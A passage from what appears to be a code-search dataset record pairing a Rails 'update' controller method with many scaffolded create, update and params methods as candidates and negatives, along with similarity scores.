|format|\n if @lehrerbewertung.save\n format.html { redirect_to @lehrerbewertung, notice: 'Lehrerbewertung was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lehrerbewertung }\n else\n format.html { render action: 'new' }\n format.json { render json: @lehrerbewertung.errors, status: :unprocessable_entity }\n end\n end\n end", "def b_twelf_params\n \n params.require(:b_twelf).permit(:notulen, :daftar_hadir, :foto_kegiatan, :materi, :scan_document, :scan_document_ttd, :foto_atau_materi, :delete_daftar_hadir,:delete_notulen,:delete_foto_kegiatan, :delete_materi, :delete_scan_document, :delete_scan_document_ttd, :delete_foto_atau_materi)\n end", "def create\n @banda = Banda.new(banda_params)\n\n @banda.pendente = 1 unless current_user.is_admin?\n\n respond_to do |format|\n if @banda.save\n format.html { redirect_to @banda, notice: 'Banda was successfully created.' }\n format.json { render :show, status: :created, location: @banda }\n else\n format.html { render :new }\n format.json { render json: @banda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_digersayfa = Admin::Digersayfa.new(admin_digersayfa_params)\n @turad = { 0 => \"Bilim İnsanları\", 1 => \"Resmi Evraklar\", 2 => \"İlginç Bilgiler\", 3 => \"Motivasyon\", 4 => \"Sınav Sistemi\"}\n @tur = { 0 => \"biliminsanlari\", 1 => \"resmievraklar\", 2 => \"ilgincbilgiler\", 3 => \"motivasyon\", 4 => \"sinavsistemi\"}\n\n respond_to do |format|\n if @admin_digersayfa.save\n Admin::Duyuru.create(aciklama: @admin_digersayfa.created_at.to_s.split(\" \")[0] + \" \" + @turad[@admin_digersayfa.tur] + \" \" + @admin_digersayfa.baslik + \" yazısı eklenmiştir.<a href=/\" + @tur[@admin_digersayfa.tur] + \"> Yazıya ulaşmak için tıklayınız. </a>\", tur: 0)\n format.html { redirect_to @admin_digersayfa, notice: 'Yazı başarılı bir şekilde oluşturuldu.' }\n format.json { render :show, status: :created, location: @admin_digersayfa }\n else\n format.html { render :new }\n format.json { render json: @admin_digersayfa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tbdatum = Tbdatum.new(tbdatum_params)\n\n respond_to do |format|\n if @tbdatum.save\n format.html { redirect_to @tbdatum, notice: 'Tbdatum was successfully created.' }\n format.json { render :show, status: :created, location: @tbdatum }\n else\n format.html { render :new }\n format.json { render json: @tbdatum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trinh_do_boi_duong = TrinhDoBoiDuong.new(trinh_do_boi_duong_params)\n\n respond_to do |format|\n if @trinh_do_boi_duong.save\n format.html { redirect_to @trinh_do_boi_duong, notice: 'Trinh do boi duong was successfully created.' }\n format.json { render :show, status: :created, location: @trinh_do_boi_duong }\n else\n format.html { render :new }\n format.json { render json: @trinh_do_boi_duong.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @num = if Brony.last.nil?\n 1\n else\n Brony.last.select(:number_brony).to_i + 1\n end\n @id_bilet = get_id\n @brony = Brony.new(id_ticket: @id_bilet, number_brony: @num, time_broby: Time.now)\n\n respond_to do |format|\n if @brony.save\n format.html { redirect_to @brony, notice: 'Brony was successfully created.' }\n format.json { render :show, status: :created, location: @brony }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @brony.errors, status: :unprocessable_entity }\n end\n end\n #@brony.save\n #render json: { brony_number: @brony.number_brony }\n\n # check_time\n end", "def create\n @nha_xuat_ban = NhaXuatBan.new(nha_xuat_ban_params)\n\n respond_to do |format|\n if @nha_xuat_ban.save\n format.html { redirect_to @nha_xuat_ban, notice: \"Nha xuat ban was successfully created.\" }\n format.json { render :show, status: :created, location: @nha_xuat_ban }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @nha_xuat_ban.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lembrete = Lembrete.new(lembrete_params)\n\n respond_to do |format|\n if @lembrete.save\n flash[:success] = 'lembrete criado com sucesso.'\n format.html { redirect_to @lembrete }\n format.json { render :show, status: :created, location: @lembrete }\n else\n flash[:danger] = 'problemas criando o registro(save).'\n format.html { render :new }\n format.json { render json: @lembrete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat = Boat.new(params[:boat])\n\n @model = Model.where(:valm_malli => params[:boat][:valm_malli]).first\n\n if @model.nil?\n @model = Model.new\n @model.korkeus = @boat.korkeus\n @model.leveys = @boat.leveys\n @model.pituus = @boat.pituus\n @model.syvyys = @boat.syvyys\n @model.uppouma = @boat.uppouma\n @model.valm_malli = @boat.valm_malli\n @model.tyyppi = @boat.tyyppi\n @model.save\n end\n\n @laituri_idt = Dock.all.map(&:id)\n @laituri_idt.insert(0,nil)\n\n @vapaat_laituripaikat = Berth.where(:dock_id => 1).all.map(&:number)\n @vapaat_laituripaikat.insert(0,nil)\n parse_jno_from_omistajatxtbox\n changejnoToId\n respond_to do |format|\n if @boat.valid? && @onkoOk #&& check_for_only_one_payer\n check_dock_and_berth(format)\n @boat.save\n format.html { redirect_to @boat, notice: 'Vene luotiin onnistuneesti.' }\n format.json { render json: @boat, status: :created, location: @boat }\n else\n format.html { flash.now[:alert] = @member == nil ? 'Jäsentä ei löytynyt' : 'Tuntematon virhe'\n render action: \"new\" }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @turma = Turma.new(params[:turma])\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to @turma, notice: 'Turma criada com sucesso.' }\n format.json { render json: @turma, status: :created, location: @turma }\n else\n format.html { render action: \"new\" }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if request.format.js?\n @schicht = Schicht.new(schicht_params)\n # Transform date to utc (compatibility with offline version)\n @schicht.datum = DateTime.new(@schicht.datum.year, @schicht.datum.month, @schicht.datum.day)\n @schicht.benutzer = current_user\n @schicht.objekt = current_objekt\n @schicht.wachbuch_eintrag = WachbuchEintrag.create\n @schicht.save\n else\n doc = Nokogiri::XML(request.body.read)\n sNode = doc.xpath('elwak/schicht')[0]\n @schicht = parseSchicht(sNode)\n end\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n format.js {render action: 'save_success'}\n end\n end", "def create\n @tyre = Tyre.new(tyre_params)\n respond_to do |format|\n if @tyre.save\n format.html { redirect_to (:back), notice: 'Treno pneumatici inserito.' }\n format.json { render json: @tyre, status: :created, location: @tyre, content_type: 'text/json' }\n else\n format.html { render action: 'new' }\n format.json { render json: @tyre.errors, status: :unprocessable_entity }\n end\n end\n end", "def member_mst_params\n params.require(:member_mst).permit(:menber_no, :menber_name, :admission_date, :withdrawal_date, :birth_date, :enter_date, :marry_date, :memo, :del_flg)\n end", "def create\n @varietywine = Varietywine.new(varietywine_params)\n\n respond_to do |format|\n if @varietywine.save\n format.html { redirect_to @varietywine, notice: 'Сорт вина успешно создан.' }\n format.json { render :show, status: :created, location: @varietywine }\n else\n format.html { render :new }\n format.json { render json: @varietywine.errors, status: :unprocessable_entity }\n end\n end\n end", "def wombat_params\n params.require(:wombat).permit(:title, :body, :published)\n end", "def create\n @turma = @disciplina.turmas.new(turma_params)\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to @turma, notice: 'A Turma foi criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @turma }\n else\n format.html { render action: 'new' }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @britt = Britt.new(britt_params)\n\n respond_to do |format|\n if @britt.save\n format.html { redirect_to @britt, notice: 'Britt was successfully created.' }\n format.json { render :show, status: :created, location: @britt }\n else\n format.html { render :new }\n format.json { render json: @britt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trenton = Trenton.new(params[:trenton])\n\n respond_to do |format|\n if @trenton.save\n format.html { redirect_to about_path, notice: 'Page successfully set up!' }\n format.json { render json: @trenton, status: :created, location: @trenton }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trenton.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @b_twelf = BTwelf.new(b_twelf_params)\n\n respond_to do |format|\n if @b_twelf.save\n format.html { redirect_to @b_twelf, notice: 'B twelf was successfully created.' }\n format.json { render :show, status: :created, location: @b_twelf }\n else\n format.html { render :new }\n format.json { render json: @b_twelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type = params[:type]\n item = params.require(:item)\n @mac = item.require(:machine)\n machine = Machine.check(@mac.permit(:mac))\n\n data = item.require(:data)\n @result = Array.new\n data.each do |d|\n @result << machine.wbgts.create(d.permit(:black, :dry, :wet, :humidity, :wbgt_data, :date, :beginning))\n end\n\n render :status => :created\n end", "def create\n @wzx = Wzx.new(wzx_params)\n\n respond_to do |format|\n if @wzx.save\n format.html { redirect_to @wzx, notice: 'Wzx was successfully created.' }\n format.json { render :show, status: :created, location: @wzx }\n else\n format.html { render :new }\n format.json { render json: @wzx.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diemtrentuyen = Diemtrentuyen.new(params[:diemtrentuyen])\n\n respond_to do |format|\n if @diemtrentuyen.save\n format.html { redirect_to @diemtrentuyen, notice: 'Diemtrentuyen was successfully created.' }\n format.json { render json: @diemtrentuyen, status: :created, location: @diemtrentuyen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diemtrentuyen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wod = Wod.new(wod_params)\n\n respond_to do |format|\n if @wod.save\n format.html { redirect_to @wod, notice: 'Wod was successfully created.' }\n format.json { render :show, status: :created, location: @wod }\n else\n format.html { render :new }\n format.json { render json: @wod.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end", "def create\n\n respond_to do |format|\n if @himalaya.save\n UserMailer.reserva_confirmation(@himalaya).deliver\n format.html { redirect_to @himalaya, notice: \"Gracias #{@himalaya.nombre} por reserva.| Datos de reserva envia en su correo electronico\" }\n format.json { render json: @himalaya, status: :created, location: @himalaya }\n else\n format.html { render action: \"new\" }\n format.json { render json: @himalaya.errors, status: :unprocessable_entity }\n end\n end\n end", "def wine_params\n params.require(:wine).permit(:name, :producer, :varietal, tastingData:[\n :name,\n :clarity,\n :intensity_aromatics,\n :color,\n :observations,\n :condition,\n :intensity_palate,\n :aromas_primary,\n :aromas_secondary,\n :aromas_tertiary,\n :development,\n :alcohol,\n :sweetness,\n :acidity,\n :tannin,\n :body,\n :mousse,\n :intensity_flavor,\n :flavor_characteristics_primary,\n :flavor_characteristics_secondary,\n :flavor_characteristics_tertiary,\n :finish,\n :quality_level,\n :ageing_potential,\n \n ]\n\n )\n end", "def create\n @zf_bjietu = ZfBjietu.new(zf_bjietu_params)\n\n respond_to do |format|\n if @zf_bjietu.save\n format.html { redirect_to @zf_bjietu, notice: 'Zf bjietu was successfully created.' }\n format.json { render :show, status: :created, location: @zf_bjietu }\n else\n format.html { render :new }\n format.json { render json: @zf_bjietu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @turma = current_colegio.turmas.create(turma_params)\n authorize @turma\n \n @turma.ano_vigencia = Time.now.year\n @turma.save\n respond_with(@turma)\n end", "def create\n @aljnabeen_tank = current_user.aljnabeen_tanks.build(aljnabeen_tank_params)\n\n respond_to do |format|\n if @aljnabeen_tank.save\n format.html { redirect_to @aljnabeen_tank, notice: 'Aljnabeen tank was successfully created.' }\n format.json { render :show, status: :created, location: @aljnabeen_tank }\n else\n format.html { render :new }\n format.json { render json: @aljnabeen_tank.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mining_waste = MiningWaste.new(mining_waste_params)\n\n respond_to do |format|\n if @mining_waste.save\n format.html { redirect_to @mining_waste, notice: 'Mining waste was successfully created.' }\n format.json { render :show, status: :created, location: @mining_waste }\n else\n format.html { render :new }\n format.json { render json: @mining_waste.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type_breeder = TypeBreeder.new(type_breeder_params)\n respond_to do |format|\n if @type_breeder.save\n format.html { redirect_to admin_type_breeders_url, notice: 'El tipo criador fue creador' }\n format.json { render :show, status: :created, location: @type_breeder }\n else\n format.html { render :new }\n format.js\n format.json { render json: @type_breeder.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tenni = Tenni.new(params[:tenni])\n\n respond_to do |format|\n if @tenni.save\n format.html { redirect_to @tenni, notice: 'Tenni was successfully created.' }\n format.json { render json: @tenni, status: :created, location: @tenni }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tenni.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end", "def create\n @turma = Turma.new(turma_params)\n @turma.usuario = current_usuario\n @turma.turma_ativa = true\n\n respond_to do |format|\n if @turma.save\n format.html { redirect_to turmas_path, notice: 'Turma salva com sucesso.' }\n format.json { render :show, status: :created, location: @turma }\n else\n format.html { render :new }\n format.json { render json: @turma.errors, status: :unprocessable_entity }\n end\n end\n end", "def mactan_params\n params.require(:mactan).permit(:hotel_name_ja, :hotel_name_en, :hotel_lank, :hotel_area, :hotel_image, :hotel_image_text)\n end", "def create\n @wypozyczeny = Wypozyczenie.new(wypozyczeny_params)\n\n respond_to do |format|\n if @wypozyczeny.save\n format.html { redirect_to @wypozyczeny, notice: 'Wypozyczenie was successfully created.' }\n format.json { render :show, status: :created, location: @wypozyczeny }\n else\n format.html { render :new }\n format.json { render json: @wypozyczeny.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #ederrafo seteo como nuevo\n @user = User.new(params[:user])\n if @user.save\n @wise = Wise.new(:website => params[:wise][:website],\n :apellation => params[:wise][:apellation],\n :banck_account => params[:wise][:banck_account],\n :bank => params[:wise][:bank],\n :user_id => @user.id,\n :summary => params[:wise][:summary],\n :guy => 1 \n )\n respond_to do |format|\n if @wise.save\n format.html { redirect_to @wise, :notice => 'Wise was successfully created.' }\n format.json { render :json => @wise, :status => :created, :location => @wise }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @wise.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def create\n @wepon = Wepon.new(wepon_params)\n\n respond_to do |format|\n if @wepon.save\n format.html { redirect_to @wepon, notice: '追加されました' }\n format.json { render :show, status: :created, location: @wepon }\n else\n format.html { render :new }\n format.json { render json: @wepon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bannar = @current_site.bannars.build(bannar_params)\n\n respond_to do |format|\n if @bannar.save\n format.html { redirect_to bannars_path, notice: 'Bannar was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @betraege = Betraege.new(params[:betraege])\n\n respond_to do |format|\n if @betraege.save\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully created.' }\n format.json { render :json => @betraege, :status => :created, :location => @betraege }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ba = Ba.new(ba_params)\n respond_to do |format|\n if @ba.save\n format.html { redirect_to :back, notice: 'ベストアンサーを選択しました' }\n format.json { render :show, status: :created, location: @ba }\n else\n format.html { render :new }\n format.json { render json: @ba.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @wordbank = Wordbank.new(wordbank_params)\n\n respond_to do |format|\n if @wordbank.save\n format.html { redirect_to @wordbank, notice: 'Word of the Day was successfully created.' }\n format.json { render :show, status: :created, location: @wordbank }\n else\n format.html { render :new }\n format.json { render json: @wordbank.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mantenciondesviacion = Mantenciondesviacion.new(mantenciondesviacion_params)\n\n respond_to do |format|\n if @mantenciondesviacion.save\n format.html { redirect_to @mantenciondesviacion, notice: 'Mantenciondesviacion was successfully created.' }\n format.json { render :show, status: :created, location: @mantenciondesviacion }\n else\n format.html { render :new }\n format.json { render json: @mantenciondesviacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @monnaie = Monnaie.new(params[:monnaie])\n\n respond_to do |format|\n if @monnaie.save\n format.html { redirect_to @monnaie, notice: 'Monnaie was successfully created.' }\n format.json { render json: @monnaie, status: :created, location: @monnaie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monnaie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bien = Bien.new(bien_params)\n\n respond_to do |format|\n if @bien.save\n format.html { redirect_to @bien, notice: 'Bien was successfully created.' }\n format.json { render :show, status: :created, location: @bien }\n else\n format.html { render :new }\n format.json { render json: @bien.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bolsa_trabajo = BolsaTrabajo.new(bolsa_trabajo_params)\n\n respond_to do |format|\n if @bolsa_trabajo.save\n format.html { redirect_to @bolsa_trabajo, notice: 'Bolsa trabajo was successfully created.' }\n format.json { render :show, status: :created, location: @bolsa_trabajo }\n else\n format.html { render :new }\n format.json { render json: @bolsa_trabajo.errors, status: :unprocessable_entity }\n end\n end\n end", "def wod_params\n params.require(:wod).permit(:title, :meaning, :date)\n end", "def wedding_params\n params.require(:wedding).permit(:nombre1, :nombre2, :fecha_matri, :origen, :url_vals, :comentarios, :telefono_novia, :telefono_novio, :email_novia, :email_novio, :tipo_descuento, :floordesign, :rut_novia, :rut_novio, :instagram_novia, :maspersonas, :contacto, :comentarios_pago, :song, :avatar, :user_id)\n end", "def aljnabeen_tank_params\n params.require(:aljnabeen_tank).permit(:date, :user_id, :almontag_tank, :aljbeel_Tank, :abdan_tank, :alfryh_tank, :algema_tank, :shra_tank, :alrahwa_tank)\n end", "def create\n @wine_type = WineType.new(params[:wine_type])\n\n respond_to do |format|\n if @wine_type.save\n format.html { redirect_to @wine_type, notice: 'Wine type was successfully created.' }\n format.json { render json: @wine_type, status: :created, location: @wine_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wine_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_bait = Bait.new(params[:admin_bait])\n\n respond_to do |format|\n if @admin_bait.save\n format.html { redirect_to @admin_bait, notice: 'Bait was successfully created.' }\n format.json { render json: @admin_bait, status: :created, location: @admin_bait }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_bait.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7143289", "0.7027948", "0.6670264", "0.6601159", "0.6490194", "0.6452989", "0.6346805", "0.6303172", "0.615388", "0.6103412", "0.6006599", "0.5991535", "0.58698064", "0.5828309", "0.58092797", "0.58057415", "0.5580395", "0.5450999", "0.5449492", "0.543886", "0.54376894", "0.5434713", "0.5414968", "0.540061", "0.5386401", "0.5381813", "0.5374318", "0.53732294", "0.53570116", "0.5354514", "0.5347025", "0.53450733", "0.53126854", "0.53113955", "0.5310339", "0.52902055", "0.5285701", "0.52595055", "0.5257479", "0.52570325", "0.5255125", "0.5250548", "0.52409744", "0.5230417", "0.5230398", "0.52180785", "0.5217332", "0.52142966", "0.5212046", "0.52060914", "0.5202448", "0.52022207", "0.5191272", "0.51876116", "0.5187162", "0.5186356", "0.5184737", "0.5180146", "0.51796967", "0.5175698", "0.51739305", "0.516782", "0.5164606", "0.51609087", "0.5160472", "0.51548296", "0.51544034", "0.51529324", "0.51488465", "0.51438296", "0.51297545", "0.5124866", "0.51239604", "0.51228595", "0.511901", "0.5118969", "0.5118865", "0.51178503", "0.5107128", "0.5103683", "0.5102957", "0.50982857", "0.50948197", "0.50825053", "0.50811553", "0.5073972", "0.5071253", "0.50671935", "0.50659937", "0.5056587", "0.50563914", "0.5050128", "0.504579", "0.50432026", "0.503932", "0.50362307", "0.50330234", "0.50327164", "0.503223", "0.5028187" ]
0.7195034
0
PATCH/PUT /brite_td_aswaxman_rt_waxmen/1 PATCH/PUT /brite_td_aswaxman_rt_waxmen/1.json
def update respond_to do |format| if @brite_td_aswaxman_rt_waxman.update(brite_td_aswaxman_rt_waxman_params) format.html { redirect_to @brite_td_aswaxman_rt_waxman, notice: 'Brite td aswaxman rt waxman was successfully updated.' } format.json { render :show, status: :ok, location: @brite_td_aswaxman_rt_waxman } else format.html { render :edit } format.json { render json: @brite_td_aswaxman_rt_waxman.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @brite_rt_waxman.update(brite_rt_waxman_params)\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @brite_td_asbarabasi_rt_waxman.update(brite_td_asbarabasi_rt_waxman_params)\n format.html { redirect_to @brite_td_asbarabasi_rt_waxman, notice: 'Brite td asbarabasi rt waxman was successfully updated.' }\n format.json { render :show, status: :ok, location: @brite_td_asbarabasi_rt_waxman }\n else\n format.html { render :edit }\n format.json { render json: @brite_td_asbarabasi_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "def update\n #@title = @header = \"Изменение торговой марки\"\n respond_to do |format|\n if @boat_series.update(boat_series_params)\n #format.html { redirect_to @boat_series, notice: 'Торговая марка успешно изменена' }\n format.json { render json: @boat_series.to_json }\n else\n #format.html { render :edit }\n format.json { render json: @boat_series.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @brend = Brend.find(params[:id])\n\n respond_to do |format|\n if @brend.update_attributes(params[:brend])\n format.html { redirect_to @brend, notice: 'Brend was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brend.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bread.update(bread_params)\n format.html { redirect_to @bread, notice: 'パン情報を編集した.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @breet.update(breet_params)\n format.html { redirect_to @breet, notice: 'Breet was successfully updated.' }\n format.json { render :show, status: :ok, location: @breet }\n else\n format.html { render :edit }\n format.json { render json: @breet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.find(params[:id])\n\n respond_to do |format|\n if @status_del_tramite_de_beca.update_attributes(params[:status_del_tramite_de_beca])\n format.html { redirect_to @status_del_tramite_de_beca, notice: 'Status del tramite de beca was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_del_tramite_de_beca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boat = Boat.find(params[:id], :include => [:members])\n @dockold = Dock.find(params[:Laituri]) unless params[:Laituri].blank?\n @berthold = @berth = Berth.where(:dock_id => @dockold.id, :number => params[:Laituripaikka]) unless params[:Laituri].blank?\n #@boat = Boat.find(params[:id])\n #changejnoToId\n parse_jno_from_omistajatxtbox\n change_jno_to_id_for_update\n if params[:boat][:BoatsMembers_attributes] == nil\n @onkoOk = false\n end\n\n @laituri_idt = Dock.all.map(&:id)\n @laituri_idt.insert(0,nil)\n\n @vapaat_laituripaikat = Berth.where(:dock_id => 1).all.map(&:number)\n @vapaat_laituripaikat.insert(0,nil)\n\n respond_to do |format|\n if @onkoOk && check_for_only_one_payer && @boat.update_attributes(params[:boat])\n check_dock_and_berth(format)\n format.html { redirect_to @boat, notice: 'Veneen muokkaus onnistui.' }\n format.json { head :no_content }\n else\n format.html {\n flash[:notice] = 'Virhe.'\n render action: \"edit\"\n }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @binh_bau = BinhBau.find(params[:id])\n respond_to do |format|\n if @binh_bau.update_attributes(params[:binh_bau])\n format.html { redirect_to @binh_bau, notice: 'Binh bau was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @binh_bau.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bilhete = Bilhete.find(params[:id])\n\n respond_to do |format|\n if @bilhete.update_attributes(params[:bilhete])\n format.html { redirect_to @bilhete, notice: 'Bilhete was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bilhete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n if @brony.update(brony_params)\n format.html { redirect_to @brony, notice: 'Brony was successfully updated.' }\n format.json { render :show, status: :ok, location: @brony }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @brony.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @buchung = Buchung.find(params[:id])\n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @thema = Thema.find(params[:id])\n @themen = @thema.themengruppe.themen.order(:priority).reverse\n respond_to do |format|\n if @thema.update_attributes(params[:thema])\n format.html { redirect_to @thema, notice: 'Thema was successfully updated.' }\n format.json { head :no_content }\n format.js \n else\n format.html { render action: \"edit\" }\n format.json { render json: @thema.errors, status: :unprocessable_entity }\n format.js { render action: \"edit\" }\n end\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bien.update(bien_params)\n format.html { redirect_to @bien, notice: 'Bien was successfully updated.' }\n format.json { render :show, status: :ok, location: @bien }\n else\n format.html { render :edit }\n format.json { render json: @bien.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @makrana_marble.update(makrana_marble_params)\n format.html { redirect_to @makrana_marble, notice: 'Marble product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @makrana_marble.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @britt.update(britt_params)\n format.html { redirect_to @britt, notice: 'Britt was successfully updated.' }\n format.json { render :show, status: :ok, location: @britt }\n else\n format.html { render :edit }\n format.json { render json: @britt.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget_file.update(budget_file_params)\n #if @revenue.update(revenue_params.merge({:tree_info => tree_info, :rows => rows}))\n # @budget_file.taxonomy.explanation = explanation\n # @budget_file.taxonomy.save\n\n format.html { redirect_to @budget_file, notice: t('budget_files_controller.save') }\n format.json { render :show, status: :ok, location: @budget_file }\n else\n format.html { render :edit }\n format.json { render json: @budget_file.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update\n @brother = Brother.find(params[:id])\n\n respond_to do |format|\n if @brother.update_attributes(params[:brother])\n format.html { redirect_to @brother, notice: 'Cadastro atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brother.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_bait = Bait.find(params[:id])\n\n respond_to do |format|\n if @admin_bait.update_attributes(params[:admin_bait])\n format.html { redirect_to @admin_bait, notice: 